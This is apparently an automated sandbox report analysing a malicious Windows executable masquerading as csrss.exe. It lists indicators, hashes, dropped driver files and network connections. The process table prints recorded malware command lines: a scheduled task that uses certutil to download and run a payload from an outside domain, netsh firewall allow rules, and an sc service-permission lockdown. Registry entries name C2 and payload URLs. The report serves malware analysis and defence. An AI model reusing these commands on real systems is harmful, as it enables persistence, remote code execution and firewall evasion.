| File name: | C:\Windows\rss\csrss.exe |
| Full analysis: | https://app.any.run/tasks/a4864b2f-8c39-4315-b8a1-60dff22451b4 |
| Verdict: | Malicious activity |
| Analysis date: | March 06, 2019, 08:04:20 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | DF342F0F1742E051DDD27E4B07845AD0 |
| SHA1: | 1DBBEFBB43D3FB3A4DC38D9A80AAC7124FFFABF1 |
| SHA256: | 28E8A84F987EDE52237F03C45DDBE7DF1D7B20BE67AD5D51145B3772F11AC2F1 |
| SSDEEP: | 98304:uupXfcH/qn3ga1tBM/ZLGMTBev2IJyfmfWXRHcbRXAqs143ueORk0wbPhW:uupkHSn3gLxB6ly+eXJ6Xmn20Qh |
MALICIOUS
Known privilege escalation attack
- csrss.exe (PID: 3232)
Changes the autorun value in the registry
- csrss.exe (PID: 2292)
Changes settings of System certificates
- csrss.exe (PID: 2964)
Uses Task Scheduler to run other applications
- csrss.exe (PID: 2964)
Loads the Task Scheduler COM API
- schtasks.exe (PID: 4092)
- schtasks.exe (PID: 2272)
SUSPICIOUS
Modifies the open verb of a shell class
- csrss.exe (PID: 3232)
Starts CMD.EXE for commands execution
- csrss.exe (PID: 2292)
- csrss.exe (PID: 3232)
- csrss.exe (PID: 2964)
Uses NETSH.EXE for network configuration
- cmd.exe (PID: 2864)
- cmd.exe (PID: 2788)
Application launched itself
- csrss.exe (PID: 2208)
Creates files in the Windows directory
- csrss.exe (PID: 2292)
- csrss.exe (PID: 2964)
Executable content was dropped or overwritten
- csrss.exe (PID: 2292)
- csrss.exe (PID: 2964)
Starts itself from another location
- csrss.exe (PID: 2292)
Reads the machine GUID from the registry
- csrss.exe (PID: 2964)
Adds / modifies Windows certificates
- csrss.exe (PID: 2964)
Creates files in the driver directory
- csrss.exe (PID: 2964)
Starts SC.EXE for service management
- cmd.exe (PID: 3416)
- cmd.exe (PID: 2604)
- cmd.exe (PID: 2908)
Searches for installed software
- csrss.exe (PID: 2964)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (42.2) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (37.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.8) |
| .exe | | | Win32 Executable (generic) (6) |
| .exe | | | Generic Win/DOS Executable (2.7) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2017:08:05 11:13:05+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 9 |
| CodeSize: | 4157952 |
| InitializedDataSize: | 604160 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x1b28 |
| OSVersion: | 5 |
| ImageVersion: | - |
| SubsystemVersion: | 5 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 7.0.0.0 |
| ProductVersionNumber: | 3.0.0.0 |
| FileFlagsMask: | 0x004f |
| FileFlags: | (none) |
| FileOS: | Unknown (0x40534) |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Unknown (457A) |
| CharacterSet: | Unknown (A56B) |
| FileVersion: | 1.0.0.2 |
| ProductVersion: | 1.0.0.1 |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 05-Aug-2017 09:13:05 |
| Detected languages: |
|
| FileVersion: | 1.0.0.2 |
| ProductVersion: | 1.0.0.1 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000F0 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 05-Aug-2017 09:13:05 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x003F70D0 | 0x003F7200 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.06902 |
.rdata | 0x003F9000 | 0x00002A8C | 0x00002C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.44187 |
.data | 0x003FC000 | 0x00084DC8 | 0x00005400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0.611997 |
.rsrc | 0x00481000 | 0x00122618 | 0x00008800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 6.58176 |
.reloc | 0x005A4000 | 0x00004260 | 0x00004400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 1.55429 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 3.13659 | 320 | UNKNOWN | English - United States | RT_VERSION |
2 | 4.49875 | 4264 | UNKNOWN | Kazakh - Kazakstan | RT_ICON |
105 | 3.31087 | 852 | UNKNOWN | UNKNOWN | RT_DIALOG |
107 | 2.77206 | 72 | UNKNOWN | Kazakh - Kazakstan | RT_ACCELERATOR |
108 | 2.32193 | 10 | UNKNOWN | Kazakh - Kazakstan | UNKNOWN |
234 | 2.32824 | 34 | UNKNOWN | Kazakh - Kazakstan | RT_GROUP_ICON |
245 | 6.50798 | 23560 | UNKNOWN | English - United States | RT_BITMAP |
2501 | 3.22565 | 808 | UNKNOWN | English - United States | RT_STRING |
Imports
KERNEL32.dll |
USER32.dll |
Total processes
63
Monitored processes
20
Malicious processes
6
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2064 | cmd.exe /C CompMgmtLauncher | C:\Windows\system32\cmd.exe | — | csrss.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2208 | "C:\Users\admin\AppData\Local\Temp\csrss.exe" | C:\Users\admin\AppData\Local\Temp\csrss.exe | — | CompMgmtLauncher.exe | |||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
| |||||||||||||||
| 2272 | schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f http://speedandmusic.com/app/app.exe C:\Users\admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F | C:\Windows\system32\schtasks.exe | — | csrss.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2292 | "C:\Users\admin\AppData\Local\Temp\csrss.exe" | C:\Users\admin\AppData\Local\Temp\csrss.exe | csrss.exe | ||||||||||||
User: SYSTEM Integrity Level: SYSTEM Exit code: 0 Modules
| |||||||||||||||
| 2392 | netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes | C:\Windows\system32\netsh.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Network Command Shell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2456 | "C:\Windows\system32\CompMgmtLauncher.exe" | C:\Windows\system32\CompMgmtLauncher.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Computer Management Snapin Launcher Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2604 | cmd.exe /C sc sdset WinmonFS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) | C:\Windows\system32\cmd.exe | — | csrss.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2788 | cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes" | C:\Windows\system32\cmd.exe | — | csrss.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2824 | netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes | C:\Windows\system32\netsh.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Network Command Shell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2864 | cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes" | C:\Windows\system32\cmd.exe | — | csrss.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
916
Read events
550
Write events
365
Delete events
1
Modification events
| (PID) Process: | (3232) csrss.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | Name |
Value: BillowingBird | |||
| (PID) Process: | (3232) csrss.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | Firewall |
Value: | |||
| (PID) Process: | (3232) csrss.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | Defender |
Value: | |||
| (PID) Process: | (3232) csrss.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | Servers |
Value: https://weekdanys.com | |||
| (PID) Process: | (3232) csrss.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | UUID |
Value: | |||
| (PID) Process: | (3232) csrss.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | Command |
Value: 0000000000000000 | |||
| (PID) Process: | (3232) csrss.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | FirstInstallDate |
Value: 257F7F5C00000000 | |||
| (PID) Process: | (3232) csrss.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | CloudnetFileURL |
Value: http://zonamusicex.com/cloudnet.exe | |||
| (PID) Process: | (3232) csrss.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | ServiceVersion |
Value: | |||
| (PID) Process: | (3232) csrss.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | SC |
Value: 0000000000000000 | |||
Executable files
4
Suspicious files
0
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2964 | csrss.exe | C:\Windows\System32\drivers\Winmon.sys | executable | |
MD5:4EF0C39E632279D7B3672D2EFC071E5B | SHA256:889FB266C4C01BB4EF67635249C8DAEB641FC86CE62FC280B34BEEC415FB6129 | |||
| 2292 | csrss.exe | C:\Windows\rss\csrss.exe | executable | |
MD5:— | SHA256:— | |||
| 2964 | csrss.exe | C:\Windows\System32\drivers\WinmonProcessMonitor.sys | executable | |
MD5:622FD523A87CB55BE0B676A70C64E8F8 | SHA256:F609C6656A0C451DAFA5173DF0CD848F7CB7F22C4F150F8D16716C12593DE66C | |||
| 2964 | csrss.exe | C:\Windows\System32\drivers\WinmonFS.sys | executable | |
MD5:0D3A8D67CD969C6E096B4D29E910DD9E | SHA256:EB0BE2AC3833C843214A55B14C31125A7B600D5272BDF322C4871F42627576E4 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
2
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2964 | csrss.exe | 104.24.114.108:443 | weekdanys.com | Cloudflare Inc | US | shared |
DNS requests
Domain | IP | Reputation |
|---|---|---|
weekdanys.com |
| malicious |
speedandmusic.com |
| whitelisted |